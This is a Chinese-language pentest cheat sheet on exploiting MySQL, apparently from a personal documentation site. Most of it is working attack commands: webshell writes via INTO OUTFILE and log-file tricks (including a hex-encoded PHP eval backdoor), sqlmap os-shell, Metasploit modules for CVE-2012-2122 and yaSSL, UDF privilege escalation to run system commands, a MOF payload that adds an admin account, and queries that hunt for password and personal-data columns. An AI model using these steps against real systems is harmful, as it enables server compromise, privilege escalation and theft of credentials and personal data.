渗透经验
数据库利用
Mysql
Mssql
Oracle
PostgreSQL
Redis
查询关键字段记录数量
-
+
首页
Mysql
# GetShell ### into oufile 写 shell - 知道网站物理路径 - 高权限数据库用户(root) - secure_file_priv 无限制 - 网站路径有写入权限 查询是否 secure_file_priv 没有限制 ```sql mysql> show global variables like '%secure_file_priv%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_file_priv | | +------------------+-------+ ``` | Value | 说明 | | :---- | :------------------------- | | NULL | 不允许导入或导出 | | /tmp | 只允许在 /tmp 目录导入导出 | | 空 | 不限制目录 | > 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 > > 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件 写shell ```sql select '<?php phpinfo(); ?>' into outfile '/var/www/html/1.php'; ``` ```sql select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A; ``` sqlmap写shell ```bash sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php" ``` sqlmap获取os-shell ```bash sqlmap -u "http://x.x.x.x/?id=x" --os-shell ``` tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。 ### 日志写shell - 知道网站物理路径 - 高权限数据库用户(root) - 网站路径有写入权限 ```bash mysql> SHOW VARIABLES LIKE '%general%'; +------------------+---------------------------------+ | Variable_name | Value | +------------------+---------------------------------+ | general_log | OFF | | general_log_file | /var/lib/mysql/c1595d3a029a.log | +------------------+---------------------------------+ ``` ```bash #开启日志记录 set global general_log = "ON"; set global general_log_file='/var/www/html/info.php'; #往日志里面写入 payload select '<?php phpinfo();?>'; ``` ### 慢日志写shell - 知道网站物理路径 - 高权限数据库用户(root) - 网站路径有写入权限 ```bash mysql> SHOW VARIABLES LIKE '%slow_query_log%'; +------------------+---------------------------------+ | Variable_name | Value | +------------------+---------------------------------+ | slow_query_log | OFF | | slow_query_log_file | /var/lib/mysql/c1595029a.log | +------------------+---------------------------------+ ``` ```bash #开启日志记录 set global slow_query_log = "ON"; set global slow_query_log_file='/var/www/html/info.php'; #往日志里面写入 payload select '<?php phpinfo();?>' or sleep(10) ``` # Vuln ### yaSSL 缓冲区溢出 **Linux** : MySQL 5.0.45-Debian_1ubuntu3.1-log **Windows** : MySQL 5.0.45-community-nt ```bash msf6 > use exploit/windows/mysql/mysql_yassl_hello msf6 > use exploit/linux/mysql/mysql_yassl_hello ``` ### authbypass身份认证绕过 - MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. - MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. CVE-2012-2122 知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库: ```bash for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done ``` msf dump hash ```bash msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump msf6 > set rhosts 127.0.0.1 msf6 > run ``` # Privilege Escalation ### UDF提权 udf动态链接库文件获取 ```bash sqlmap/data/udf/mysql ``` sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码 ```bash # 查看当前目录情况 ➜ pwd /Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak # 解码 32 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so # 解码 64 位的 Linux 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so # 解码 32 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll # 解码 64 位的 Windows 动态链接库 ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll ``` msf的可以直接使用 ```bash MSF 根目录/embedded/framework/data/exploits/mysql ``` tips:可用ida查看有哪些函数 该udf.dll导出的路径因MySQL版本不同而不同: - 如果`MySQL<5.1`,udf.dll动态链接文件需要导出的路径为: Windows2003:c:\windows\system32 Windows2000:c:\winnt\system32。 - 如果`MySQL>=5.1`,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录 获取plugin路径 ```sql mysql> show variables like '%plugin%'; +---------------+------------------------------+ | Variable_name | Value | +---------------+------------------------------+ | plugin_dir | /usr/local/mysql/lib/plugin/ | +---------------+------------------------------+ ``` 获取mysql版本,确定 udf位数 ``` show variables like "%version%"; ``` tips:windows系统如果目录不存在可以尝试使用NTFS流创建: ```sql select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION'; ``` ```sql # 获取so十六进制 SELECT hex(load_file('/lib_mysqludf_sys_64.so')); # 直接 SELECT 查询十六进制写入 SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; # 解码十六进制再写入多此一举 SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; ``` 创建表写入 ```sql create table my_udf_data(data LONGBLOB); set @my_udf_a=concat('',dll的16进制); insert into my_udf_data values("");update my_udf_data set data = @my_udf_a; ``` 创建函数执行命令 ```sql CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; select * from mysql.func; select sys_eval('whoami'); drop function sys_eval; ``` ### mof提权 老古董,不想写了 MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。 准备好mof文件,然后udf老套路导出即可 ``` pace("\.rootsubscription") instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; ``` # Other ``` select load_file('/var/lib/mysql-files/key.txt'); #Read file ``` 利用恶意mysql服务,读客户端文件 [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) 注意某些lnmp的探针 可用的udf hex https://www.sqlsec.com/tools/udf.html xx库中所有字段名带 pass|pwd 的表 ``` select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%" ``` sqlmap 参数–-search也可以 xx 库中所有字段名带个人信息的表 ``` select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名" ``` # References - https://www.sqlsec.com/2020/11/mysql.html - https://www.anquanke.com/post/id/235236 - https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA
admin
2022年3月13日 20:00
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
关于 睿文
如果睿文给你带来了帮助,欢迎对作者进行一些打赏捐助,这将有力支持作者持续投入精力更新和维护文档,感谢你的捐助!
微信
支付宝
QQ
PayPal
Markdown文件
分享
链接
类型
密码
更新密码